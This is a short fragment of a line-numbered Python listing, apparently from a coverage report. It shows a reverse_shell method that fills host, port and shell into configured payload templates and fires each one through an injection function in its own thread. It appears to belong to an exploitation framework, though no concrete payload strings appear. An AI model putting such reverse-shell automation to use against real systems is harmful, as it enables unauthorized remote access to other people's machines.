(self, host, port, shell = "/bin/sh")
| 800 | |
| 801 | |
| 802 | def reverse_shell(self, host, port, shell = "/bin/sh"): |
| 803 | |
| 804 | action = self.actions.get('reverse_shell', {}) |
| 805 | payload_actions = action.get('reverse_shell') |
| 806 | call_name = action.get('call', 'inject') |
| 807 | |
| 808 | # Skip if something is missing or call function is not set |
| 809 | if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name): |
| 810 | return |
| 811 | |
| 812 | for payload_action in payload_actions: |
| 813 | |
| 814 | execution_code = payload_action % ({ |
| 815 | 'port' : port, |
| 816 | 'shell' : shell, |
| 817 | 'host': host, |
| 818 | }) |
| 819 | |
| 820 | reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,)) |
| 821 | reqthread.start() |
| 822 | |
| 823 | def update_actions(self, actions): |
| 824 |
no test coverage detected